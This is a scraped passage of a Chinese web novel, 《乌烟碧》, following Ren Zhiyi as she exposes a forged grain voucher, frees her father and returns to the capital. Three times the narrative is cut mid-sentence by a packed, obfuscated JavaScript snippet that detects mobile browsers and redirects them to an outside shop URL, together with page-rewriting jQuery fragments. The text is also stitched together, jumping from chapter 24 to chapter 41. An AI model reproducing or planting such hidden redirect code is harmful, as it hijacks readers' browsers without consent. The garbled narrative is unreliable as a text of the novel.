出手之人叫韦尚,正是刚才跪地求情的举子。 “韦尚,你疯了!”林居正慌张喝道。 韦尚挟着人后退几步,双手剧颤不止。 那铁丝是用特殊的生铁精铸而成,如发丝一样细,极具韧性,轻轻一使力,便能够嵌入人的皮肉之中。 卫枢面如阴云,一双眸子紧紧地盯着他的手,其中的冷意似能凝结成冰。 “你放开她!” 宫北楼站在抱柱旁边,声音阴恻恻的,“为兄死便死了!你何苦要做这种傻事。我们不是约好要一起还乡!” 韦尚一听“还乡”,浑身抖得愈加厉害,双眸猩红,“我不能回去……” 任知宜被勒得快呼吸不动,“你,松开……我快,喘不动……气了!” 卫枢欺身上前,沉静的眸子现出一丝焦灼,“你有何要求?孤都答应你!” 韦尚好似没听懂他的话,眼神乱飘,样子带着几分癫狂,“宫兄说得对,就是你们害我!就是你们害我!” 疯狂之下,他控制不住手上的力道,铁丝箍得更紧,嫩白肌肤上的红色深痕愈加刺目惊心。 卫枢双眸森然。 此时,任知宜勉力挣扎着朝他眨动了两下双眼,眼神飘向宫北楼的方向,卫枢心念一动,渐渐地冷静下来,朝着韦尚走近了几步。 “殿下,不要靠近贼人!”刑部尚书席白忧心太子安危,失声喊道。 “都退下!谁都不要过来!”太子厉声大喝,吓得席白浑身一颤,不敢再轻举妄动。 卫枢直视韦尚,声音沉静而和缓:“你放开她,不要连累你的父母亲族。” 韦尚短暂地沉默了一下,木着一张脸道:“他们会懂我的!” “他们不会懂!”卫枢盯着他的手,缓缓问道:“刺杀储君乃是夷族之大罪。是不是宫北楼蛊惑了你?” 韦尚脑子木木的,茫然四顾,却找不到宫北楼的身影,一时之间慌乱不已,六神无主。 “宫兄……宫兄,你在哪儿?” 方才卫枢看懂了任知宜的眼神,着人偷偷带走了宫北楼。 果然,宫北楼一走,韦尚的心绪大乱。 24. 对峙 《乌烟碧》全本免费阅读 山岚缭绕,水色空蒙。 沿石阶而上,行至半山腰处,可见一座竹屋。 竹屋外面是木栅圈出的园圃,种了两叉尺的薤菜。 这两日,任知宜一直在太医院将养,住得憋闷,今日得见山中景色怡人,她的心情倒是舒缓了不少。 昨日,她收到景随的来信。 在信中,他故意提及一位经验极丰富的老仵作住在城郊半山。 她于宫中思索了半日。 景随这个人,看不清,摸不透,看似对什么都不在意,功名、权位皆不在他的心中;惟独说起他兄长之死时,他的眼神变得格外深沉,与平日的冷漠截然不同。 若是能各取所需,未尝不能做同路之人。 “任姑娘在想什么?” 任知宜回过神来,对着在身侧的景随笑笑不语。 竹屋内杂乱,陈放着各种瓷瓦器具和厚薄不一的刀片。 老仵作坐于圆凳上,手上动作翻飞,片片竹篾编成方筐。 二人进来,老仵作手下一顿,见是景随,不耐烦道:“你怎么又来了?我都跟你说了多少次了!你兄长就是自尽!既然不信,还来找我做什么!” 景随也不恼,拱手道:“卓老,这次是我朋友有问题想请教您。” 卓老望向任知宜。 气韵清雅,身姿娇柔,爬了几步山路,白皙的面庞现出些许润红,一看便知,是个大门不出,二门不迈的小姐。 “何事?” 任知宜指着自己的口,又摆了摆手,表示口不能言,只能以笔代之。 卓老这才瞧见,她颈部以白色丝帛缠了两圈,隐隐有药液渗出。 “这是一份尸验单,请卓老过目。” 卓老拿过来粗略看了一眼,随手一丢,扔在地上,“写的什么验单!大理寺的仵作真是一茬不如一茬。” “有什么问题吗?” 卓老斜睨了她一眼,“你是这人的家人还是官家?” 任知宜道:“官家!” “呵……”,卓老冷冷一哼,“小老儿不替官家办事。” 上山之前,景随曾经告诉过她,卓老过去是一名官府仵作,奈何性情孤傲,不懂迂回,得罪了上官,被撵回家。 后来,有些衙门碰到查不清的案子,找到他头上,他一概不理,衙门只好让被害人的家人前来请托。 任知宜面露遗憾,长长地叹了口气,“此案明日便要有个结果,他的家人远在千里之外,看来这案子的真相注定是无人知晓了!” 二人转身欲走,却听后面响起声音。 “什么案子?” 卓老醉心于验尸,竹屋里的东西皆与验尸有关。他生活清苦,却于此道分文不取,足见一片赤诚。 这样的人,必然不愿意真相尘封。 卓老重新拿起验单,细细读了一遍,“不行!” “什么不行?” “这里写着“双肋之下有压痕”,是什么颜色的压痕……又是什么形状,全都没写。” 他又指着验单之中的“腹中水草少许”,冷笑两声,“写得如此模糊,如何破案?” 任知宜不解:“卓老何意?” “除非……”,卓老斜凝视着她,冷冷道:“让我亲自验尸。” 任知宜怔在当场,薄唇紧抿,目色沉静了下来。 门外传来脚步声,林四推门而入,“姑娘!贡士院的举子去了大理寺静坐。” ………… “微子兴悲,良有以也……” 公堂之上,一众举子盘膝列坐,背脊挺得笔直,俱皆口中低吟。 卫枢跨步而入,眸色幽沉凛冽。 这些人,竟敢效仿当年士子坐地悲歌! 嘉以元年,赣南道节度使盛齐月发动叛乱,因为此前毫无预兆,判军以势如破竹之势直捣京城。 当时在松石书院读书的一位士子听闻城破,悲愤交加,写成一篇未署名的《讨贼檄》,其他士子连夜誊抄数千份,很快传诵京城。 盛齐月武将出身,心胸狭窄,行事残暴。破城之后,将四大书院的士子尽数抓到京城的明镜台。 明镜台,以史为镜,以行昭明。 原本是士子集会,高谈阔论之所,却被盛齐月设上刑架,刀刃高悬。 盛齐月逼迫士子说出檄文是何人所写,何人所传。 有士子站出来大骂盛齐月乱臣贼子,天下当共诛之,结果被放在刑架之上,刀刃裂身,血流满地。 一个士子,接着一个士子被送上去…… 那日天光黯淡,大雨滂沱,翻滚的雨珠落在明镜台上,分不清是雨水还是血水。 所有士子悲愤交加,盘膝列坐,齐声高唱《讨贼檄》,声音传遍整个京城,如同丧钟齐鸣,苍凉而悲壮。 三百二十八名士子,全数葬送在明镜台。 如今…… 这隐痛却成了他们与朝廷对抗的凭恃。 卫枢拢袖握拳,眉目凛然,“林大人,驱走所有人。” 林居正一惊,“殿下,不可啊!” 卫枢神情清冷,“孤知道,当年数百士子悲歌赴死,时至今日你们仍怀旧痛,对这些士子格外宽忍。可是,他们是未来大胤的肱骨,不是遇水即化的泥塑。” 林居正尚未答话,有人先一步高声斥道。 “昔日明镜台上,面对贼子,士子慨然赴死是何等气节!尔等如今却是为了各自仕途,求一己之私,着实令人作呕。” 声音洪亮,中气十足,正是任知宜的丫鬟宝珠在代她痛骂。 任知宜踏入堂中,敛起浅云色褶裙,向太子和林居正福身行礼。 举子们闻言大怒,“同窗含冤而死,我们效仿先辈,求得是一个公道。五日之期已到,你说的证据呢?” 任知宜眼神示意,宝珠又道:“小姐问,你们是真心为了高期之死求一个公道?” 众举子道,“当然!” “好!”任知宜写好纸条,由宝珠代念:“若是今日证明高期并非自尽,而是有人刻意挑起文祸,你们当如何?” 举子应宣第一个站出来,朗声道,“受人挑拨,不明是非。若真如此,我愿即刻返乡,自此不问科举。” 他话音一顿,接着道:“若是反之,姑娘欲如何?” 宝珠高声喊道:“我家小姐愿拿出一万两白银,送至高期家中。” 此话一出,众士子俱皆一怔。 应宣讥讽道:“姑娘将士子之清白前程与区区黄白俗物相提并论,实在是可笑。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12784887|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这厮的心思。 她薄唇微抿:“你可知道,我爹被关在哪里?” 韩少初懒懒道:“任姑娘也是个生意人,应该明白我韩家不会做赔本的买卖。” 任知宜闻言,思忖半晌。 “那你先带我去见见他!” 韩少初沉吟半晌,掏出一枚黑色腰牌,“你出示这个腰牌,便可以进到牢中。” 她伸手去拿时,韩少初却又猛然收了手,好看的桃花眼释出笑意,“任姑娘,这腰牌算是偿了你我曾共患难的情谊。希望在将来,你我依然是友,非敌。” 腰牌攥在掌心里,如玄铁般冷硬坚实,好似这偌大的节度使府。 昨日在船上,她看得分明,郭嘉为人冷血无情。他们之所以能安稳地留在府中,靠得是韩少初带来的那两箱财物。若没有极大的利益,郭嘉不会放过她爹,韩家亦不会帮她。 任知宜心绪沉沉,淡淡地应了一声。 —— 狱中的任平面容瘦削,气色略显苍白。 “爹……”,任知宜见到他,眼泪呼地一下流了出来。 任平睁大了眼睛,不敢置信道:“知宜?” 她握着她爹的手,也不说话,只是泪如雨落,簌簌不止。 “知宜,你怎么进来的?” 任知宜抹去眼泪,“爹,你的咳疾怎么样了?” “之前吃过几副药,眼下天热了,几乎不怎么发作了。” 任知宜稍稍安心,复又内疚道:“都怪女儿!我应该早点救你出来的。” “你能有什么办法?”任平抚着女儿的鬓发,神情复杂,“之前,刑部郎中徐大人来查我的案子,说你如今是东宫女史,太子幕僚,还帮着太子破了科举舞弊案,我一直不敢相信。” “爹!”任知宜薄唇翕张,“此事说来话长。” 任平长叹一声,“你一个女子搅入朝堂,能做什么?若是为了为父的案子,大可不必!我治下粮仓被盗,为父确有失察之责,朝廷若判我流放,我也就认了。” “流放他乡,九死一生。”任知宜眸色一冷,寒声道:“我绝不会让这种事发生。” 任平怔怔地看着她,短短数月不见,自己女儿的身上竟多了几分上位者的杀伐之气。 难道,这就是身为东宫幕僚的“近朱者赤”? 任知宜没有注意到他爹的微妙神情,沉吟半晌,“当初郭嘉故意为难徐志,又将爹转移到节度使府中,必有筹谋。” 她接着问道:“爹,郭嘉最重视什么?” 任平缓缓道:“郓人多番侵扰,山南道军费吃紧,郭节度使最重视的大概是钱粮吧。” 难怪! 韩少初敢夸下海口。 任知宜沉吟片刻,“那他就是想借这个案子,威胁太子帮他拿到军费。” “他怎敢?”任平大惊,“怎敢威胁太子?” 任平为人清正迂腐,脑子里全是忠君爱民,不能想象朝堂倾轧,波云诡谲。 “爹,那张支粮单在哪儿?” “据说案子涉及的证物都已移交过府。” “爹,我明白了!”任知宜缓缓道:“您再忍耐几日,我已经有救您出去的法子了。” 任平慌忙拉住她,“知宜,你可千万不要胡来啊!” “爹!人各有所求,皆蝇营狗苟;我只求家人平安,缘何不可?” 41. 救父 入夜,起了北风。 高挂于节度使府门前的两个四角灯笼被吹得摇摇欲坠。 离府百米处,郭嘉于马背上远望,灯影下,一道月白色的纤细身影端立于门前。 孤影孑立,姿态清绝。 下了马,郭嘉踏入府门。 “郭将军!” 郭嘉步子不停,目不斜视地从任知宜身边走过。 任知宜快步跟上,“郭将军请留步。” “想让我放令尊出狱,任女史不要枉费心机。”郭嘉面容冷肃,故意将步子迈地急阔,却见任知宜亦步亦趋。 “任女史究竟意欲何为?” 任知宜福身行礼,淡静开口,“为解将军燃眉之急。您今日破晓出府,戌时才归,除了去大营处理军务,将军还去了睢州刺史府。” 一股杀气升腾而起。 郭嘉不怒反笑,“你敢派人跟踪本将?” 任知宜从容道:“睢州、灵州去岁皆是荒年,将军就算将刺史府拆了,也凑不出军营所需的军费。” 郭嘉双眸骤缩。 任知宜见他未反驳,继续道:“我原本以为将军提调我父亲的案子,是为了借此威胁太子,后来一直等不到将军来找我,才明白是我料错了。将军忠心为国,自然不会做此等事。” “奉承话就不必说了!”郭嘉冷冷道。 任知宜抿唇,笑容多了几分真心,“嘉以之乱后,朝廷重文轻武,一再削减军费。将军为抵御郓国,苦撑多年,实属不易。” “……” “来人!”郭嘉拧眉,不耐烦道:“送任姑娘回房歇息。” “且慢!”任知宜轻声道:“若我能解将军之急,还能证明我父亲是冤枉的,将军可愿意?” 郭嘉神情一顿,令身后侍卫退下。 “东宫与韩家结盟了?” 此话尽是嘲意,郭嘉唇角轻勾,不带半分掩饰。 任知宜微怔,山南道连年上表郓国侵扰,朝廷却一直敷衍以对,以至郭嘉对朝廷颇为怨怼。 放任郓人在大胤国土肆虐,归根结底,源头出自朝廷。 “若已结盟,今日便不是我一人来见将军了!” “不用韩家?”郭嘉斜睨了她一眼,沉声道:“如今太子处境微妙,本将亦不想与东宫扯上任何关系。” “嗯!”任知宜点点头,“将军思虑的是!东宫如今与景相分庭抗礼,若是由太子出面,反倒棘手。” 郭嘉凝望着她,长眉微动。 任知宜轻声笑道:“惟经切肤之痛,方得转机。” 一阵风起,吹拂起她发间的青色丝带,飘若浮云流雪,衬得光洁如玉的面容愈发淡静从容。 “将军忘了?渝江北段连接的是运河!” 郭嘉眸间幽色渐浓,“你是说……” “不错!”任知宜缓缓道:“将军只要上表朝廷,言明郓人侵扰,阻滞河道输运,朝廷会立刻下拨军费。” 京城的权贵众多,衣食行商皆仰赖南来北往的运河,运河一旦滞停,京城会立刻陷入混乱。 郭嘉轻扶腰间长剑,神色沉然。 “渝江北段已出山南道地界,郓人虽偶有进入渝江,却从未出过山南道。” 远处山峦起伏,罩于黑夜之中,看不分明。 任知宜心内暗叹,郭嘉看似勇武粗犷,实则城府颇深,明明心中已有谋算,却还非要借她的口说出来。 “来大胤的郓人皆非官军,将军可诱引一艘郓人的楼船越过山南道,将他们尽数斩杀于渝江北段,到时候自然会有其他州府急送六百里军情入京。” 诱杀郓人! 以假作真! 郭嘉转了转手臂,突然觉得用了多年的臂甲有些松了,是时候该换一套甲胄了。 他瞥了任知宜一眼,缓缓道:“本将给你三日时间!” 三日之内,证明她爹的无辜。 这已是难得的机会。 任知宜诚然拜谢! ………… “伪造之法,始于质地。先以透光、水浸查验纸张。纸张种类繁多,多以黄麻纸、桑皮纸和白麻纸最为常见……” 任知宜依据唐橘的册子所写,一一核查,纸张纹理平顺光滑,毫无断层,质地是以黄檗汁制成的黄麻纸,正是大胤文书的用纸,并无异样。 官署印钤盖的位置也无不妥。官印字体是云篆,字结圆滑,转笔之处皆与父亲的官印完全一致。 每个方面,都毫无破绽! “任姑娘,早啊!” 一袭雪青色长衫,手执玉骨折扇,韩少初闲步而入,轻声笑道,“听闻任姑娘说服了姑丈,真是可喜可贺啊!” 任知宜眉心深蹙地盯着支粮单,对他视而不见。 韩少初凑过头来,瞥了一眼案上的证物,笑意更盛,“原来用的是这个伎俩!” 任知宜猛地抬头,双眸震动,“你看出什么来了?” 折扇一收,韩少初往交椅上慵懒一靠,“这文书本身没有问题,有问题的是字!” 他将纸张置于光下,有一处字迹清晰工整,却带着一点微小的青色斑点。 任知宜不解。 “两年前,我韩家铺子出过一件事,有个掌柜与外人勾结,在租契上做手脚,用的就是这种不入流的手段。他们以墨鱼汁为墨,写上租契的金额,待字迹消失后再填上另一个金额,以此牟利。” 任知宜问道:“如何证明?” “这是市井无赖常用的手段,在官府中却不常见。因为墨鱼汁会变质,所以会在麻纸上留下一些小霉斑。” 就这样,一千石变三千石! 原来如此! “多谢韩公子解惑!”任知宜福身行礼,诚心道谢。 韩少初轻轻托住她的手臂,未受此礼。 “我说过,你我是友,非敌。只要于韩家利益无碍,我韩少初都愿意助你。” 任知宜展颜一笑。 “不过……”,韩少初话音一顿,“用这种手段篡改官府文书,其实并不容易。” “这是何意?” “银粮乃是官府重物,支取银粮的公文通常有三份,一份在司户手中,一份在长史手中,一份在度支手中,三方核对无误后方可支取。” 任知宜沉吟颔首,“灵州州府一直未设度支一职,而为我爹草拟和保管公文的,是州府的文书。” “任长史的文书是谁?” “姚存。” ———— 灵州地处睢州西南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12818007|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相距百里。 二人乘坐马车,次日方到。 至梁司户家中,二人以下狱相胁,梁夫人方才支支吾吾地说了少许。 前年,姚文书帮梁司户追回了被骗的一大笔钱,自此二人相交莫逆,时常同饮。梁司户的家中有一尊玉佛,价值不斐,便是姚文书所赠。 “司户乃是七品,文书不过一介胥吏,他哪来这么多银钱送这么贵重的东西!” “民妇不知……”,梁夫人面色惨白地绞着手里的帕子,惊惶道:“之前,家中院子里时常会有死鸡,我们真是吓怕了!” “后来呢?” 梁夫人以帕拭泪,“夫君死后,便没再见过了。” 二人对视一眼,看来梁司户是为了保住家人而自尽的。 此时,姚存却不知所踪。 城中贴满告示,言明谁能提供姚存的踪迹,可去韩家商铺领取五百两白银。 百姓纷纷惊叹。 不到半日,数十人为领赏银跑到韩家商铺,可提供的消息无一是真。有些腌臜泼皮甚至借机趁乱取利,害得他们东奔西顾,白白浪费了好些功夫。 韩少初奔波了一日,好看的桃花眼似要喷出火来,“姚存会不会已经离开灵州?” 任知宜薄唇轻抿,城中守卫都说未见过他出城。可是,灵州城就这么大,谁敢藏匿一个官府的嫌犯? 有下人来报:“公子,又有人来铺子门前,说他见过姚存。” 韩少初不耐烦地摆摆手,“让他滚!” “等等!”任知宜掩下眸中倦意,“我去见见。” 来人是个乞丐,衣衫褴褛,遍体生疮,一双眼睛透着贪婪的光芒。 任知宜略略失望。 乞丐脏手一摊,“听说,只要给消息,你们就先给五两。先让我瞧瞧银子!” 任知宜眉心一拧,冷冷道:“既然不说,半分银钱都没有。” 说完,转身即走。 乞丐急了,拦下她道:“我没骗你!真的!我真得见过他!” 见任知宜仍然面带疑色,乞丐一咬牙,从怀中掏出一块碎裂的玉珏,“你看!这就是我从他身上摸下来的。” 玉珏的裂口处,带着血色。 任知宜神情一凛,“他受伤了?” “嗯!快死了!” 他们赶到乞丐所说的荒宅,姚存躺在院子的地上,腹部伤口极深,已经溃烂露出腐肉,吸引了无数虫蚁聚集在他身上吸噬。 任知宜试他鼻息,还有一丝气息。 姚存微微睁开眼,干涸的唇瓣微动,“救……救我!” “被盗的官粮在哪儿?” “札……札记!”姚存气若游丝,说完这两个字便晕了过去。 大夫未能救活姚存。 死于失血过多,是两日前的刀伤。官府很快找到凶手,是个欠债累累的赌徒。原来姚存正是灵州最大的赌坊金来赌坊的幕后东家。 任知宜从他随身携带的包袱里翻出路引、银票和札记。 札记中记载了赌坊的账目,姚存和梁司户皆有分利。因为任平欲在灵州禁赌,导致二人不满,盗取粮仓,陷害任平。 回睢州的路上,任知宜远望窗外。 远山霭霭,苍松翠青。 42. 惜别 时值立夏。 渝江水阔,上游湍急。 沿江而下,越过山南道,连通运河西南,初见庶裕。 唯山南道府,群山环绕,岬险林深,其中尤以灵州为最,是为大胤最偏远贫瘠之地。 为官者将灵州视同流放,是以多年来,灵州州府中的文官和胥吏,多有不足。 回到睢州,任知宜被告知,节度使郭嘉领兵巡查江防,近日不会回来。 她心下了然,诱杀之计,刻不容缓。 府中副将笑道:“将军临走前,说姑娘定会如期将案子查明,果不其然。” 任知宜问道:“案卷详情皆在,能不能放了我爹?” 副将又道:“圣令已下,刑部遣人来睢州,今日就到。将军说,圣令言明此案全权交由刑部处理。等人到了,走个明路,便可将任大人放出来。” 任知宜秀眉微挑,“来的是哪一位?” “刑部郎中徐志。” 任知宜敛眸,轻声谢过。 —— 每年这个时节,睢州多阴雨。 牢狱阴湿,潮气极重。 任知宜准备好褥垫,另外装了些任平爱吃的小菜,带到牢中。 又将案情的来龙去脉讲了一遍。 任平听得震惊。 灵州赌坊日盛,常有扒客强行拉百姓进入,赌输后又逼人卖地卖女,任平多番训诫,赌坊却变本加厉笑,这才动了“禁赌”的心思。 姚文书平日寡言木讷,甚少与人打交道,没想到竟是赌坊真正的东家。 “那札记上没写三千石官粮的下落?” 任知宜摇头。 任平叹了口气,“官粮遗失数月,恐难寻觅。我儿能平安归来,还替为父洗刷冤屈,已是不易。” “父亲可想做灵州刺史之位?” 任平一怔,“官粮被盗,为父是要负失察之责的……” “女儿自有办法!” 任平沉默半晌,面露忧色,“知宜,爹即将脱罪,你莫不是还想要回京城?若是为了我,大可不必啊!” 任知宜眼睫轻颤。 这几日,此事落于心中,百般纠结。 一开始去到京城,便是为了替父亲翻案,如今目的达成,她也没了回京的理由。 不过,今日…… 这心思,又动摇了。 徐志到达睢州的时间刚刚好,必是太子在背后斡旋。 卫枢信守承诺,她亦不能食言。 “女儿曾在太子面前立誓,要为东宫效力三年。” 任平面带忧色,“你一个女子,能做什么?” “在爹的心目中,非要宜室宜家,方是女子本分吗?”任知宜轻声问道。 “不是本分,是幸事! 任平握着她的手,语重心长道:“你自小聪慧坚韧,颇有主见,为父想着日后为你寻一书香门第做婚配,不求富贵荣显,只要对方人品端正,家宅安宁,便能一生顺遂。” “爹,万事岂能尽如人意?”任知宜薄唇轻抿,“单说灵州如今的境况,百姓贫苦,又遭郓人欺辱。这世道若是不公、不宁,我们就算想要独善其身,也未必能如愿。 任平略为所动,沉吟半晌,问道:“太子为人如何?” “殿下清正端方,胸怀韬略,极恶朝官贪墨,常哀百姓之艰,如若日后登基,必是一代明君。” 从未听女儿如此夸赞过别人,任平神情动容,拊掌惊叹道:“果真如此!是我大胤之幸啊!” 此时,牢房的门被打开。 隔得老远,便听到刑部郎中徐志的笑声,“恭喜任大人出狱啊!” 狱卒打开铁锁,徐志跨步而入,语态殷勤,“殿下命本官务必在今日之前赶到,本官日夜兼程,终于不负殿下所托。” 任平受宠若惊,慌忙作了一揖,“让徐大人受累了!” 徐志回礼,和煦笑道,“大人客气了!殿下挂心大人,都是出于对女史的信重。朝廷也知道灵州府衙艰难,此番大人失察,是情有可原。” 任平微怔,这一席话,正印证了刚才任知宜所言。 朝廷果然没有要追究他的意思。 这话虽是寒暄之辞,却也是实情。徐志心思玲珑,于公,灵州地远贫瘠,是朝廷根本不想管的一个烂摊子;于私,在路上,他连收太子三道急令,明显是太子对此事极为上心。 朝野上下皆传,任知宜匆忙离京,乃是与太子生了龃龉,不过照他看来,传言不过是空穴来风。这位东宫幕僚,日后还大有可期。 “本官已备好马车,明日回京,不知女史是否与本官同行?” 任知宜回望父亲。 见任平缓缓地点了点头,她屈身行礼:“叨扰大人了。” ———— 马车向前行进,山南道的群山碧水渐渐缩成一道道虚影。 任知宜想起与父亲临别前的场景,眼眶微红。 两辆马车,一辆向北,一辆向南。 临行前,任平特意提前进城,买了一袋桂花糕,用油纸包着,冒着热气。 轻嚼一口,桂花的香气盈满唇齿,像极了小时候的味道。 “我儿长大了!”任平抚着她的头,长长叹了一声,“为父想了很久,我儿比任何人都聪慧通透,从来不是困囿于后宅之人。” “爹!”任知宜轻咬下唇,声音略带哽咽。 “为父为官一生,空有抱负,可惜才疏学浅,力有不逮,我儿能为朝廷尽忠,为生民请命,为父心中快慰。” 十几年的边官生涯,将一个踌躇满志的青年蹉跎得霜华满鬓,只是初心依旧未改。 任平眉目舒展,削瘦的脸颊上浮现出一抹清隽温润的笑容,“既然朝廷让为父官复原职,我便要尽力做好这一任父母官。 日后我在灵州,你在京城,相隔千里,务必照顾好自己的身体!常寄信回来。” 任知宜心中不舍,含泪点头。 “你一向聪慧过人,爹没什么好交代的!”任平的眼神温厚,“只须记得,不要过于勉强自己。” 一下子,任知宜的眼泪奔涌而出。 “父亲保重!女儿拜别!”双手交叠,屈身伏拜,额头磕在白玉般的指节上,久久不能起身。 车轮滚滚,山重水复。 任知宜望着远处山峦起伏,又湿了眼眶。 “任大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872389|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人无罪释放,官复原职,任女史该高兴才是。”徐志和声劝解道。 任知宜拭泪,点点头。 徐志觑着她的神情,问道:“本官冒昧一问,不知刚才那位坐在轮椅上的公子是何人?” 节度使府门前送行时,韩少初半开玩笑半认真地说了一句,“我姑丈留了句话,山水有相逢,京城再见!巧了!我也是这一句!” 任知宜缓缓道:“他是郭将军的内侄,济州韩家的人。” 回京一事,除了因为她对卫枢的承诺,另有一个原因。 她与郭嘉定下的诱杀之计,还需要她在京城推一把。 郭嘉进京述职之前,她必得帮他打通朝廷的关节,让他顺利拿到军费。 如此一来,不但她父亲会顺利升任刺史,郓人也会因为忌惮,收敛一段时日,灵州百姓便能过一段平稳日子。 至于韩少初…… 任知宜眉头深蹙,他亦说“京城再见”,意思便是,韩家与郑家相争盐业经营权,绝不会放手。 ———— 少了韩家的龙骧福船,他们沿陆路而行,比来时慢了几日。 到达京城时,已是十几日之后。 甫进城门,便听得鼓乐笙箫,响彻天际。 任知宜掀起车帘一角,望向外面。 数千百姓夹道欢呼,里外三层,将朱雀街围了个水泄不通。 沿街的二楼雅座上,年轻的姑娘们以团扇相遮,露出半张粉面,含羞带怯地望着长街;也有胆大的女子凭栏翘首,眼神里满是期待。 “呵呵……”,徐志捋着须,欣然笑道:“诗人有云,“春风得意马蹄疾”,看这盛况,今日当是今科进士打马游街之日。” 大胤科举,会试之后为殿试,一甲为陛下亲封,赐状元、榜眼和探花之名,其余赐进士之名。 陛下赐进士打马游街,从石方街到朱雀街,状元三人还可由文华门入宫城,进清和殿面圣。这一日,乃是读书人一生最风光得意之时。 马车停稳,任知宜立刻吩咐宝珠去打听霍思修的情况。 不过片刻,宝珠喜不自胜地跑回来。 “小姐,霍书生他中了探花!” 任知宜闻言大喜。 “霍公子果然实至名归!”徐志赞叹不已,接着饶有兴致地问道:“状元和榜眼是谁?” 宝珠道:“状元是景相家的公子景随,榜眼是安州刘泰。” 任知宜心中感慨,这位景公子当日说状元之位非他莫属,此话竟不是妄言。 当日赌坊设下状元局,若非宫北楼心术不正,或许今日也在其中。 任知宜下了马车,寻得一高处远望。 满道齐簇,观者如潮。 最前方,是殿前四十九名禁卫开道,车马相接,旌旗摇展,宝盖明扇,进士皆身着深蓝罗衣,骑高头白马。 为首之人玉冠束发,红锦披身,在人群中格外耀目,玄色抹额衬得面如白玉,温润清俊。 后面紧跟二人,一人面容端肃,一人行止有礼,正是刘泰和霍思修。 锦衣华衫,跨马于街,志得意满,意气风发。 他们,才是真正的天子门生。 43. 偶遇 朱雀长街人流如织,高声鼎沸,“打马游街”的盛况更盛往年。 扫尽科举舞弊的阴霾之后,大胤需要靠这群人重建朝堂的威信。他们不但是真正的天子门生,还会在未来的朝堂,形成一股新的力量。 任知宜兀自出神,长街上的状元郎突然回头,朝她站立的位置笑了笑,笑容好似冰雪初霁,意暖融融。 满城的少女,皆惊艳于今科状元的青靡风华,而他的目光却胶粘在那一处,惊喜的眼神中透出烨烨流光。 任知宜拧眉,不确定景随是不是在看她,立刻戴上幂篱,匆匆离开。 景随见状,收回视线,轻快地笑了笑。 她回来了。 京城又要再起波澜。 白马哒哒而行。 前方文正门的轮廓渐渐清晰,日光下,门前的登闻鼓依旧泛着灰黄的色泽。 远望宫檐飞翘,层层红墙的后面,是大胤无上权力汇聚之处。 玄色抹额下的双眸阗黑,笑容渐归于冷漠。 ———— 明运街上的铺子大多生意红火,客似云来。 任知宜站在宝篆香铺门前,瞧着内里空无一人,心中微微纳罕。 正在铺子里洒扫的云娘听到声音,抬头一看,惊喜道:“东家!” “这些日子,辛苦姐姐了!” 净过手,云娘端上茶水,一脸羞愧地拿出账册,“还说什么辛苦!我真是没脸见东家。您走的这些日子,香铺生意差,整日里见不着客人。” 任知宜啜了口茶,柔声问道:“姐姐的身子恢复得怎么样?” 云娘滚钉后躺了好些日子,任知宜从程府后院挖出葛政的尸体,又帮着云娘操办了后事。云娘思考过后,决定不回鄂州,留在京城。 “多谢东家挂念,好得差不多了!”云娘眼睑微耷,“东家将铺子交予我打理,我却辜负了东家的信任。” 任知宜双眸一扫,铺内纤尘不染,架上的香料气味淡雅,清沁怡人,显然是极为用心的。 生意不好,必是另有原由。 任知宜沉吟片刻,笑得温柔和煦,“姐姐别急,这种情况从哪一日开始的?” 云娘回忆道:“大概是东家离京后的第二日。” 周边没有新的香铺开业,生意骤然冷情……难道是因为她与太子失和的传言? 回想起走前与卫枢闹得不愉快,任知宜眼睑一跳,涩意从心头蔓延开来。 入城之前,徐志曾问她,太子已回京,要不要先去东宫面见太子? 她踌躇半晌,还是拒绝了。 对于见卫枢一事,她心中没来由地生出几分抗拒。 这些时日,父亲的案子了结之后,她焦躁的心绪沉静下来,有足够的时间和精力审视当下。 她…… 似乎,在某些方面,僭越了东宫幕僚的本分。 思及此处,她呼吸一滞,竟不愿继续深想。 “东家想到了什么?”云娘望着任知宜青白交加的面色,更觉忧心,“很棘手吗?” 任知宜回过神来,轻笑自己庸人自扰。 “既然无人登门,我们便关门歇几日。” 云娘闻言一怔,“这怎么行?” “有人想让我们的铺子关张,与其在这里终日患得患失,不如顺其而为。”任知宜慢条斯理道。 云娘似懂非懂,尚自犹疑。 “既然当我是东家,便听我的。”任知宜笑得眉眼弯弯,“陛下今夜在宫中为进士设下琼林宴,朱雀街也有花灯夜会相贺,不如暂时抛开那些烦扰之事。” ———— 落日的余晖透过薄薄的云层,将京城洒上了一层淡金色。 熙熙攘攘的长街,已陆续挂起了花灯,店肆鳞次栉比,新奇的玩意儿琳琅满目,杂耍艺人吆喝的声音此起彼伏。 车马辚辚,人如潮涌。 